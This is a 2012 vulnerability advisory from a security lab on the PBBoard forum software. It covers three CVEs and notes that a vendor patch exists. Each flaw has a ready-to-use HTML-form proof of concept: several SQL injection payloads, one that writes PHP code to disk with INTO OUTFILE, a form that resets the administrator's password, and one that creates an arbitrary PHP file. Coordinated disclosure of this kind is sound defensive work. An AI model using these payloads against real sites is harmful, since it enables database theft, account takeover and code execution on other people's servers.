Advisory ID: HTB23101
Product: PBBoard
Vendor: www.pbboard.com
Vulnerable Version(s): 2.1.4 and probably prior
Tested Version: 2.1.4
Vendor Notification: July 18, 2012 
Public Disclosure: August 8, 2012 
Vulnerability Type: SQL Injection [CWE-89], Improper Authentication [CWE-287], Improper Access Control [CWE-284]
CVE References: CVE-2012-4034, CVE-2012-4035, CVE-2012-4036
CVSSv2 Base Scores: 7.5 (AV:N/AC:L/Au:N/C:P/I:P/A:P), 7.5 (AV:N/AC:L/Au:N/C:P/I:P/A:P), 7.6 (AV:N/AC:H/Au:N/C:C/I:C/A:C)
Solution Status: Fixed by Vendor
Risk Level: High 
Discovered and Provided: High-Tech Bridge Security Research Lab ( https://www.htbridge.com/advisory/ ) 

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Advisory Details:

High-Tech Bridge Security Research Lab discovered multiple vulnerabilities in PBBoard, which can be exploited to perform SQL injection attacks, change password of arbitrary user and create arbitrary files in folder of the vulnerable application.


1) Multiple SQL Injections in PBBoard: CVE-2012-4034

1.1 Input passed via the "username" POST parameter to /index.php (when "id", "member" and "start" parameters are set, and "page" is set to "send") is not properly sanitised before being used in a SQL query.
This can be exploited to manipulate SQL queries by injecting arbitrary SQL code.

The following PoC (Proof of Concept) demonstrates the vulnerability:


<form action="http://[host]/index.php?id=1&member=1&page=send&start=1" method="post" name="main" id="main">
<input type="hidden" name="username" value="1' OR 1=(select min(@a:=1)from (select 1 union select 2)k group by (select concat(@@version,0x0,@a:=(@a+1)%2))) -- ">
<input type="submit" name="Submit" value="Send"> 
</form>


 1.2 Input passed via the "email" POST parameter to /index.php (when "send_active_code" parameter is set, and "page" is set to "forget") is not properly sanitised before being used in a SQL query.
This can be exploited to manipulate SQL queries by injecting arbitrary SQL code.

The following PoC demonstrates the vulnerability:


<form action="http://[host]/index.php?page=forget&send_active_code=1" method="post" name="main" id="main">
<input type="hidden" name="email" value="1' OR 1=(select min(@a:=1)from (select 1 union select 2)k group by (select concat(@@version,0x0,@a:=(@a+1)%2))) -- ">
<input type="submit" name="Submit" value="Send"> 
</form>


1.3 Input passed via the "password" POST parameter to /index.php (when "password_check" and "id" parameters are set, and "page" is set to "forum_archive") is not properly sanitised before being used in a SQL query.
This can be exploited to manipulate SQL queries by injecting arbitrary SQL code.

The following PoC demonstrates the vulnerability:


<form action="http://[host]/index.php?page=forum_archive&password_check=1&id=1" method="post" name="main" id="main">
<input type="hidden" name="password" value="1' OR 1=(select min(@a:=1)from (select 1 union select 2)k group by (select concat(@@version,0x0,@a:=(@a+1)%2))) -- ">
<input type="submit" name="Submit" value="Send"> 
</form>


1.4 Input passed via the "section" POST parameter to /index.php (when "move" and "subject_id" parameters are set, and "page" is set to "management") is not properly sanitised before being used in a SQL query.
This can be exploited to manipulate SQL queries by injecting arbitrary SQL code.

The following PoC demonstrates the vulnerability:


<form action="http://[host]/index.php?page=management&move=1&subject_id=1" method="post" name="main" id="main">
<input type="hidden" name="section" value="1' OR 1=(select min(@a:=1)from (select 1 union select 2)k group by (select concat(@@version,0x0,@a:=(@a+1)%2))) -- ">
<input type="submit" name="Submit" value="Send"> 
</form>


1.5 Input passed via the "section_id" POST parameter to /index.php (when "startdeleteposts" and "do_replys" parameters are set, and "page" is set to "managementreply") is not properly sanitised before being used in a SQL query.
This can be exploited to manipulate SQL queries by injecting arbitrary SQL code.

The following PoC demonstrates the vulnerability:


<form action="http://[host]/index.php?page=managementreply&startdeleteposts=1&do_replys=1" method="post" name="main" id="main">
<input type="hidden" name="section_id" value="1' OR 1=(select min(@a:=1)from (select 1 union select 2)k group by (select concat(@@version,0x0,@a:=(@a+1)%2))) -- ">
<input type="hidden" name="check[]" value="1">
<input type="submit" name="Submit" value="Send"> 
</form>


1.6 Input passed via the "member_id" POST parameter to /index.php (when "forget" parameter is set, and "page" is set to "new_password") is not properly sanitised before being used in a SQL query.
This can be exploited to manipulate SQL queries by injecting arbitrary SQL code.

The following PoC demonstrates the vulnerability:


<form action="http://[host]/index.php?page=new_password&forget=1" method="post" name="main" id="main">
<input type="hidden" name="member_id" value="1' OR 1=(select min(@a:=1)from (select 1 union select 2)k group by (select concat(@@version,0x0,@a:=(@a+1)%2))) -- ">
<input type="hidden" name="new_password" value="1">
<input type="submit" name="Submit" value="Send"> 
</form>


1.7 Input passed via the "subjectid" POST parameter to /index.php (when "start" parameter is set, and "page" is set to "tags") is not properly sanitised before being used in a SQL query.
This can be exploited to manipulate SQL queries by injecting arbitrary SQL code.

The following PoC demonstrates the vulnerability:


<form action="http://[host]/index.php?page=tags&start=1" method="post" name="main" id="main">
<input type="hidden" name="subjectid" value="' union select '<? php_code ?>',2,3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22,23,24,25,26,27,28,29,30,31,32,33 INTO OUTFILE '../../../path/to/site/file.php' -- ">
<input type="submit" name="Submit" value="Send"> 
</form>


Successful exploitation of the above-mentioned vulnerabilities (1.1 - 1.7) requires that "magic_quotes_gpc" is set to "off". SQL injection in POST request can be also exploited with a FireFox browser equipped with Tamper Data plugin. 


2) Improper Authentication in PBBoard: CVE-2012-4035

PBBoard permits to change password of any board member due to absence of any verification of user-supplied "member_id" POST parameter in the password change script.

The following PoC changes password for the user with ID=1 (forum administrator):


<form action="http://[host]/index.php?page=new_password&forget=1" method="post" name="main" id="main">
<input type="hidden" name="member_id" value="1">
<input type="hidden" name="new_password" value="new_password">
<input type="submit" name="Submit" value="Send"> 
</form>



3) Improper Access Control in PBBoard: CVE-2012-4036

Input passed via the "xml_name" POST parameter to /admin.php (when "export" and "export_writing" parameters are set, and "page" parameter is set to "addons") is not properly sanitised before being used as a name of a newly created file.

An attacker can create an arbitrary .php file and potentially execute arbitrary PHP code on vulnerable system depending on server configuration.

The following PoC will create a file located at: http://[host]/addons/file.php that will display result of phpinfo() function execution:


<form action="http://[host]/admin.php?page=addons&export=1&export_writing=1&xml_name=file.php" method="post" name="main" id="main">
<input type="hidden" name="context" value='<? phpinfo(); ?>'>
<input type="submit" name="Submit" value="Send"> 
</form>


Successful exploitation of this vulnerability requires administrative priveledges, however can be also exploited via CSRF vector (CVE-2012-1216). The CSRF vulnerability has not been patched by the Vendor Notification date. 

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Solution:

Apply 5-8-2012 Security Patch

More Information:
http://www.pbboard.com/forums/t10352.html
http://www.pbboard.com/forums/t10353.html

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References:

[1] High-Tech Bridge Advisory HTB23101 - https://www.htbridge.com/advisory/HTB23101 - Multiple vulnerabilities in PBBoard.
[2] PBBoard - http://www.pbboard.com - PBBoard is a free flat-forum bulletin board software.
[3] Common Vulnerabilities and Exposures (CVE) - http://cve.mitre.org/ - international in scope and free for public use, CVE® is a dictionary of publicly known information security vulnerabilities and exposures.

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Disclaimer: The information provided in this Advisory is provided "as is" and without any warranty of any kind. Details of this Advisory may be updated in order to provide as accurate information as possible. The latest version of the Advisory is available on web page [1] in the References.